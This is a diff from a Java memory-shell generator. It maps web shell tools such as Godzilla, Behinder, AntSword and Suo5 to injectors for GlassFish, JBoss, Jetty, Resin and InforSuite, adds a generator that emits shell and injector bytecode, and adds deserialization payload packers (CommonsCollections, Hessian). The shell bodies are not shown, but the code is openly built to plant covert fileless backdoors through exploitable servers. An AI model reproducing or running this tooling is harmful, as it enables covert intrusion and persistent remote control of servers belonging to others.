map.put(JAKARTA_FILTER, Pair.of(Suo5Filter.class, GlassFishFilterInjector.class));
map.put(LISTENER, Pair.of(Suo5Listener.class, GlassFishListenerInjector.class));
map.put(JAKARTA_LISTENER, Pair.of(Suo5Listener.class, GlassFishListenerInjector.class));
map.put(VALVE, Pair.of(Suo5Valve.class, GlassFishValveInjector.class));
map.put(JAKARTA_VALVE, Pair.of(Suo5Valve.class, GlassFishValveInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(AntSwordFilter.class, GlassFishFilterInjector.class));
map.put(LISTENER, Pair.of(AntSwordListener.class, GlassFishListenerInjector.class));
map.put(VALVE, Pair.of(AntSwordValve.class, GlassFishValveInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
return map;
}
}
@@ -1,104 +0,0 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishListenerInjector;
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishValveInjector;
import com.reajason.javaweb.memshell.inforsuite.injector.InforSuiteFilterInjector;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordValve;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve;
import com.reajason.javaweb.memshell.tomcat.antsword.AntSwordListener;
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.tomcat.injector.TomcatContextValveAgentInjector;
import com.reajason.javaweb.memshell.tomcat.injector.TomcatFilterChainAgentInjector;
import com.reajason.javaweb.memshell.tomcat.suo5.Suo5Listener;
import org.apache.commons.lang3.tuple.Pair;
import java.util.LinkedHashMap;
import java.util.Map;
import static com.reajason.javaweb.memshell.config.Constants.*;
/**
* @author ReaJason
* @since 2024/12/24
*/
public class InforSuiteShell extends AbstractShell {
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(CommandFilter.class, InforSuiteFilterInjector.class));
map.put(JAKARTA_FILTER, Pair.of(CommandFilter.class, InforSuiteFilterInjector.class));
map.put(LISTENER, Pair.of(CommandListener.class, GlassFishListenerInjector.class));
map.put(JAKARTA_LISTENER, Pair.of(CommandListener.class, GlassFishListenerInjector.class));
map.put(VALVE, Pair.of(CommandValve.class, GlassFishValveInjector.class));
map.put(JAKARTA_VALVE, Pair.of(CommandValve.class, GlassFishValveInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(CommandFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
map.put(AGENT_CONTEXT_VALVE, Pair.of(CommandFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(GodzillaFilter.class, InforSuiteFilterInjector.class));
map.put(JAKARTA_FILTER, Pair.of(GodzillaFilter.class, InforSuiteFilterInjector.class));
map.put(LISTENER, Pair.of(GodzillaListener.class, GlassFishListenerInjector.class));
map.put(JAKARTA_LISTENER, Pair.of(GodzillaListener.class, GlassFishListenerInjector.class));
map.put(VALVE, Pair.of(GodzillaValve.class, GlassFishValveInjector.class));
map.put(JAKARTA_VALVE, Pair.of(GodzillaValve.class, GlassFishValveInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(GodzillaFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
map.put(AGENT_CONTEXT_VALVE, Pair.of(GodzillaFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(BehinderFilter.class, InforSuiteFilterInjector.class));
map.put(JAKARTA_FILTER, Pair.of(BehinderFilter.class, InforSuiteFilterInjector.class));
map.put(LISTENER, Pair.of(BehinderListener.class, GlassFishListenerInjector.class));
map.put(JAKARTA_LISTENER, Pair.of(BehinderListener.class, GlassFishListenerInjector.class));
map.put(VALVE, Pair.of(BehinderValve.class, GlassFishValveInjector.class));
map.put(JAKARTA_VALVE, Pair.of(BehinderValve.class, GlassFishValveInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(BehinderFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
map.put(AGENT_CONTEXT_VALVE, Pair.of(BehinderFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(Suo5Filter.class, InforSuiteFilterInjector.class));
map.put(JAKARTA_FILTER, Pair.of(Suo5Filter.class, InforSuiteFilterInjector.class));
map.put(LISTENER, Pair.of(Suo5Listener.class, GlassFishListenerInjector.class));
map.put(JAKARTA_LISTENER, Pair.of(Suo5Listener.class, GlassFishListenerInjector.class));
map.put(VALVE, Pair.of(Suo5Valve.class, GlassFishValveInjector.class));
map.put(JAKARTA_VALVE, Pair.of(Suo5Valve.class, GlassFishValveInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(AntSwordFilter.class, InforSuiteFilterInjector.class));
map.put(LISTENER, Pair.of(AntSwordListener.class, GlassFishListenerInjector.class));
map.put(VALVE, Pair.of(AntSwordValve.class, GlassFishValveInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
return map;
}
}
@@ -1,92 +0,0 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.jboss.injector.JbossFilterInjector;
import com.reajason.javaweb.memshell.jboss.injector.JbossListenerInjector;
import com.reajason.javaweb.memshell.jboss.injector.JbossValveInjector;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordValve;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve;
import com.reajason.javaweb.memshell.tomcat.antsword.AntSwordListener;
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.tomcat.injector.TomcatContextValveAgentInjector;
import com.reajason.javaweb.memshell.tomcat.injector.TomcatFilterChainAgentInjector;
import com.reajason.javaweb.memshell.tomcat.suo5.Suo5Listener;
import org.apache.commons.lang3.tuple.Pair;
import java.util.LinkedHashMap;
import java.util.Map;
import static com.reajason.javaweb.memshell.config.Constants.*;
/**
* @author ReaJason
* @since 2024/12/10
*/
public class JbossShell extends AbstractShell {
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(CommandFilter.class, JbossFilterInjector.class));
map.put(LISTENER, Pair.of(CommandListener.class, JbossListenerInjector.class));
map.put(VALVE, Pair.of(CommandValve.class, JbossValveInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(CommandFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
map.put(AGENT_CONTEXT_VALVE, Pair.of(CommandFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(GodzillaFilter.class, JbossFilterInjector.class));
map.put(LISTENER, Pair.of(GodzillaListener.class, JbossListenerInjector.class));
map.put(VALVE, Pair.of(GodzillaValve.class, JbossValveInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(GodzillaFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
map.put(AGENT_CONTEXT_VALVE, Pair.of(GodzillaFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(BehinderFilter.class, JbossFilterInjector.class));
map.put(LISTENER, Pair.of(BehinderListener.class, JbossListenerInjector.class));
map.put(VALVE, Pair.of(BehinderValve.class, JbossValveInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(BehinderFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
map.put(AGENT_CONTEXT_VALVE, Pair.of(BehinderFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(Suo5Filter.class, JbossFilterInjector.class));
map.put(LISTENER, Pair.of(Suo5Listener.class, JbossListenerInjector.class));
map.put(VALVE, Pair.of(Suo5Valve.class, JbossValveInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(AntSwordFilter.class, JbossFilterInjector.class));
map.put(LISTENER, Pair.of(AntSwordListener.class, JbossListenerInjector.class));
map.put(VALVE, Pair.of(AntSwordValve.class, JbossValveInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
return map;
}
}
@@ -1,100 +0,0 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.jetty.antsword.AntSwordHandlerAdvisor;
import com.reajason.javaweb.memshell.jetty.antsword.AntSwordListener;
import com.reajason.javaweb.memshell.jetty.behinder.BehinderHandlerAdvisor;
import com.reajason.javaweb.memshell.jetty.behinder.BehinderListener;
import com.reajason.javaweb.memshell.jetty.command.CommandHandlerAdvisor;
import com.reajason.javaweb.memshell.jetty.command.CommandListener;
import com.reajason.javaweb.memshell.jetty.godzilla.GodzillaHandlerAdvisor;
import com.reajason.javaweb.memshell.jetty.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.jetty.injector.JettyFilterInjector;
import com.reajason.javaweb.memshell.jetty.injector.JettyHandlerAgentInjector;
import com.reajason.javaweb.memshell.jetty.injector.JettyListenerInjector;
import com.reajason.javaweb.memshell.jetty.injector.JettyServletInjector;
import com.reajason.javaweb.memshell.jetty.suo5.Suo5Listener;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
import org.apache.commons.lang3.tuple.Pair;
import java.util.LinkedHashMap;
import java.util.Map;
import static com.reajason.javaweb.memshell.config.Constants.*;
/**
* @author ReaJason
* @since 2024/12/7
*/
public class JettyShell extends AbstractShell {
public static final String AGENT_HANDLER = AGENT + "Handler";
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(CommandServlet.class, JettyServletInjector.class));
map.put(JAKARTA_SERVLET, Pair.of(CommandServlet.class, JettyServletInjector.class));
map.put(FILTER, Pair.of(CommandFilter.class, JettyFilterInjector.class));
map.put(JAKARTA_FILTER, Pair.of(CommandFilter.class, JettyFilterInjector.class));
map.put(LISTENER, Pair.of(CommandListener.class, JettyListenerInjector.class));
map.put(JAKARTA_LISTENER, Pair.of(CommandListener.class, JettyListenerInjector.class));
map.put(AGENT_HANDLER, Pair.of(CommandHandlerAdvisor.class, JettyHandlerAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(GodzillaServlet.class, JettyServletInjector.class));
map.put(JAKARTA_SERVLET, Pair.of(GodzillaServlet.class, JettyServletInjector.class));
map.put(FILTER, Pair.of(GodzillaFilter.class, JettyFilterInjector.class));
map.put(JAKARTA_FILTER, Pair.of(GodzillaFilter.class, JettyFilterInjector.class));
map.put(LISTENER, Pair.of(GodzillaListener.class, JettyListenerInjector.class));
map.put(JAKARTA_LISTENER, Pair.of(GodzillaListener.class, JettyListenerInjector.class));
map.put(AGENT_HANDLER, Pair.of(GodzillaHandlerAdvisor.class, JettyHandlerAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(BehinderServlet.class, JettyServletInjector.class));
map.put(JAKARTA_SERVLET, Pair.of(BehinderServlet.class, JettyServletInjector.class));
map.put(FILTER, Pair.of(BehinderFilter.class, JettyFilterInjector.class));
map.put(JAKARTA_FILTER, Pair.of(BehinderFilter.class, JettyFilterInjector.class));
map.put(LISTENER, Pair.of(BehinderListener.class, JettyListenerInjector.class));
map.put(JAKARTA_LISTENER, Pair.of(BehinderListener.class, JettyListenerInjector.class));
map.put(AGENT_HANDLER, Pair.of(BehinderHandlerAdvisor.class, JettyHandlerAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(Suo5Servlet.class, JettyServletInjector.class));
map.put(JAKARTA_SERVLET, Pair.of(Suo5Servlet.class, JettyServletInjector.class));
map.put(FILTER, Pair.of(Suo5Filter.class, JettyFilterInjector.class));
map.put(JAKARTA_FILTER, Pair.of(Suo5Filter.class, JettyFilterInjector.class));
map.put(LISTENER, Pair.of(Suo5Listener.class, JettyListenerInjector.class));
map.put(JAKARTA_LISTENER, Pair.of(Suo5Listener.class, JettyListenerInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(AntSwordServlet.class, JettyServletInjector.class));
map.put(FILTER, Pair.of(AntSwordFilter.class, JettyFilterInjector.class));
map.put(LISTENER, Pair.of(AntSwordListener.class, JettyListenerInjector.class));
map.put(AGENT_HANDLER, Pair.of(AntSwordHandlerAdvisor.class, JettyHandlerAgentInjector.class));
return map;
}
}
@@ -0,0 +1,90 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.memshell.generator.*;
import com.reajason.javaweb.memshell.generator.command.CommandGenerator;
import com.reajason.javaweb.memshell.server.AbstractShell;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import org.apache.commons.lang3.StringUtils;
import org.apache.commons.lang3.tuple.Pair;
import java.util.Map;
/**
* @author ReaJason
* @since 2024/11/24
*/
public class MemShellGenerator {
public static GenerateResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) {
Server server = shellConfig.getServer();
AbstractShell shell = server.getShell();
if (shell == null) {
throw new IllegalArgumentException("Unsupported server: " + server);
}
if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(server, shellConfig.getShellType()));
}
if (StringUtils.isBlank(injectorConfig.getInjectorClassName())) {
injectorConfig.setInjectorClassName(CommonUtil.generateInjectorClassName());
}
Class<?> injectorClass = null;
if (ShellTool.Custom.equals(shellConfig.getShellTool())) {
injectorClass = shellConfig.getServer().getShell().getShellInjectorMapping().getInjector(shellConfig.getShellType());
} else {
Pair<Class<?>, Class<?>> shellInjectorPair = shellConfig.getServer().getShell().getShellInjectorPair(shellConfig.getShellTool(), shellConfig.getShellType());
if (shellInjectorPair == null) {
throw new UnsupportedOperationException(server + " unsupported shell type: " + shellConfig.getShellType() + " for tool: " + shellConfig.getShellTool());
}
Class<?> shellClass = shellInjectorPair.getLeft();
injectorClass = shellInjectorPair.getRight();
shellToolConfig.setShellClass(shellClass);
}
byte[] shellBytes = generateShellBytes(shellConfig, shellToolConfig);
injectorConfig.setInjectorClass(injectorClass);
injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
injectorConfig.setShellClassBytes(shellBytes);
InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig);
byte[] injectorBytes = injectorGenerator.generate();
Map<String, byte[]> innerClassBytes = injectorGenerator.getInnerClassBytes();
return GenerateResult.builder()
.shellConfig(shellConfig)
.shellToolConfig(shellToolConfig)
.injectorConfig(injectorConfig)
.shellClassName(shellToolConfig.getShellClassName())
.shellBytes(shellBytes)
.injectorClassName(injectorConfig.getInjectorClassName())
.injectorBytes(injectorBytes)
.injectorInnerClassBytes(innerClassBytes)
.build();
}
private static byte[] generateShellBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
switch (shellConfig.getShellTool()) {
case Godzilla:
return new GodzillaGenerator(shellConfig, (GodzillaConfig) shellToolConfig).getBytes();
case Command:
return new CommandGenerator(shellConfig, (CommandConfig) shellToolConfig).getBytes();
case Behinder:
return new BehinderGenerator(shellConfig, (BehinderConfig) shellToolConfig).getBytes();
case Suo5:
return new Suo5Generator(shellConfig, ((Suo5Config) shellToolConfig)).getBytes();
case AntSword:
return new AntSwordGenerator(shellConfig, (AntSwordConfig) shellToolConfig).getBytes();
case NeoreGeorg:
return new NeoreGeorgGenerator(shellConfig, (NeoreGeorgConfig) shellToolConfig).getBytes();
case Custom:
return new CustomShellGenerator(shellConfig, (CustomConfig) shellToolConfig).getBytes();
default:
throw new UnsupportedOperationException("Unknown shell tool: " + shellConfig.getShellTool());
}
}
}
@@ -1,14 +1,23 @@
package com.reajason.javaweb.memshell.packer;
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.packer.BCELPacker;
import com.reajason.javaweb.memshell.packer.Packer;
import com.reajason.javaweb.memshell.packer.XxlJobPacker;
import com.reajason.javaweb.memshell.packer.aviator.AviatorPacker;
import com.reajason.javaweb.memshell.packer.base64.Base64Packer;
import com.reajason.javaweb.memshell.packer.base64.DefaultBase64Packer;
import com.reajason.javaweb.memshell.packer.base64.GzipBase64Packer;
import com.reajason.javaweb.memshell.packer.bsh.BeanShellPacker;
import com.reajason.javaweb.memshell.packer.deserialize.hessian.Hessian2Packer;
import com.reajason.javaweb.memshell.packer.deserialize.hessian.Hessian2XSLTScriptEnginePacker;
import com.reajason.javaweb.memshell.packer.deserialize.hessian.HessianPacker;
import com.reajason.javaweb.memshell.packer.deserialize.hessian.HessianXSLTScriptEnginePacker;
import com.reajason.javaweb.memshell.packer.deserialize.java.*;
import com.reajason.javaweb.memshell.packer.el.ELPacker;
import com.reajason.javaweb.memshell.packer.freemarker.FreemarkerPacker;
import com.reajason.javaweb.memshell.packer.groovy.GroovyClassDefinerPacker;
import com.reajason.javaweb.memshell.packer.groovy.GroovyPacker;
import com.reajason.javaweb.memshell.packer.groovy.GroovyScriptEnginePacker;
import com.reajason.javaweb.memshell.packer.jar.AgentJarPacker;
import com.reajason.javaweb.memshell.packer.jar.DefaultJarPacker;
import com.reajason.javaweb.memshell.packer.jexl.JEXLPacker;
@@ -30,6 +39,7 @@ import lombok.Getter;
import java.util.List;
import java.util.Objects;
import java.util.stream.Collectors;
import java.util.stream.Stream;
/**
@@ -82,6 +92,9 @@ public enum Packers {
SpELSpringUtils(new SpELSpringUtilsPacker(), SpELPacker.class),
Groovy(new GroovyPacker()),
GroovyClassDefiner(new GroovyClassDefinerPacker(), GroovyPacker.class),
GroovyScriptEngine(new GroovyScriptEnginePacker(), GroovyPacker.class),
Freemarker(new FreemarkerPacker()),
Velocity(new VelocityPacker()),
JinJava(new JinJavaPacker()),
@@ -95,6 +108,17 @@ public enum Packers {
JavaCommonsBeanutils17(new CommonsBeanutils18Packer(), JavaDeserializePacker.class),
JavaCommonsBeanutils16(new CommonsBeanutils16Packer(), JavaDeserializePacker.class),
JavaCommonsBeanutils110(new CommonsBeanutils110Packer(), JavaDeserializePacker.class),
JavaCommonsCollections3(new CommonsCollections3Packer(), JavaDeserializePacker.class),
JavaCommonsCollections4(new CommonsCollections4Packer(), JavaDeserializePacker.class),
/**
* Hessian 反序列化打包器
*/
Hessian2Deserialize(new Hessian2Packer()),
Hessian2XSLTScriptEngine(new Hessian2XSLTScriptEnginePacker(), Hessian2Packer.class),
HessianDeserialize(new HessianPacker()),
HessianXSLTScriptEngine(new HessianXSLTScriptEnginePacker(), HessianPacker.class),
AgentJar(new AgentJarPacker()),
@@ -117,6 +141,6 @@ public enum Packers {
}
public static List<Packers> getPackersWithParent(Class<?> parentPacker) {
return Stream.of(Packers.values()).filter(p -> Objects.equals(p.getParentPacker(), parentPacker)).toList();
return Stream.of(Packers.values()).filter(p -> Objects.equals(p.getParentPacker(), parentPacker)).collect(Collectors.toList());
}
}
@@ -1,88 +0,0 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.resin.antsword.AntSwordListener;
import com.reajason.javaweb.memshell.resin.behinder.BehinderListener;
import com.reajason.javaweb.memshell.resin.command.CommandListener;
import com.reajason.javaweb.memshell.resin.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.resin.injector.ResinFilterChainAgentInjector;
import com.reajason.javaweb.memshell.resin.injector.ResinFilterInjector;
import com.reajason.javaweb.memshell.resin.injector.ResinListenerInjector;
import com.reajason.javaweb.memshell.resin.injector.ResinServletInjector;
import com.reajason.javaweb.memshell.resin.suo5.Suo5Listener;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
import org.apache.commons.lang3.tuple.Pair;
import java.util.LinkedHashMap;
import java.util.Map;
import static com.reajason.javaweb.memshell.config.Constants.*;
/**
* @author ReaJason
* @since 2024/12/14
*/
public class ResinShell extends AbstractShell {
public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain";
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(CommandServlet.class, ResinServletInjector.class));
map.put(FILTER, Pair.of(CommandFilter.class, ResinFilterInjector.class));
map.put(LISTENER, Pair.of(CommandListener.class, ResinListenerInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(CommandFilterChainAdvisor.class, ResinFilterChainAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(GodzillaServlet.class, ResinServletInjector.class));
map.put(FILTER, Pair.of(GodzillaFilter.class, ResinFilterInjector.class));
map.put(LISTENER, Pair.of(GodzillaListener.class, ResinListenerInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(GodzillaFilterChainAdvisor.class, ResinFilterChainAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(BehinderServlet.class, ResinServletInjector.class));
map.put(FILTER, Pair.of(BehinderFilter.class, ResinFilterInjector.class));
map.put(LISTENER, Pair.of(BehinderListener.class, ResinListenerInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(BehinderFilterChainAdvisor.class, ResinFilterChainAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(Suo5Servlet.class, ResinServletInjector.class));
map.put(FILTER, Pair.of(Suo5Filter.class, ResinFilterInjector.class));
map.put(LISTENER, Pair.of(Suo5Listener.class, ResinListenerInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(AntSwordServlet.class, ResinServletInjector.class));
map.put(FILTER, Pair.of(AntSwordFilter.class, ResinFilterInjector.class));
map.put(LISTENER, Pair.of(AntSwordListener.class, ResinListenerInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, ResinFilterChainAgentInjector.class));
return map;
}
}
@@ -0,0 +1,283 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.server.*;
import com.reajason.javaweb.memshell.shelltool.antsword.*;
import com.reajason.javaweb.memshell.shelltool.antsword.jetty.AntSwordHandlerAdvisor;
import com.reajason.javaweb.memshell.shelltool.antsword.undertow.AntSwordServletInitialHandlerAdvisor;
import com.reajason.javaweb.memshell.shelltool.behinder.*;
import com.reajason.javaweb.memshell.shelltool.behinder.jetty.BehinderHandlerAdvisor;
import com.reajason.javaweb.memshell.shelltool.behinder.undertow.BehinderServletInitialHandlerAdvisor;
import com.reajason.javaweb.memshell.shelltool.command.*;
import com.reajason.javaweb.memshell.shelltool.command.jetty.CommandHandlerAdvisor;
import com.reajason.javaweb.memshell.shelltool.command.jetty.CommandHandlerAsmMethodVisitor;
import com.reajason.javaweb.memshell.shelltool.command.undertow.CommandServerInitialHandlerAsmMethodVisitor;
import com.reajason.javaweb.memshell.shelltool.command.undertow.CommandServletInitialHandlerAdvisor;
import com.reajason.javaweb.memshell.shelltool.godzilla.*;
import com.reajason.javaweb.memshell.shelltool.godzilla.jetty.GodzillaHandlerAdvisor;
import com.reajason.javaweb.memshell.shelltool.godzilla.undertow.GodzillaServletInitialHandlerAdvisor;
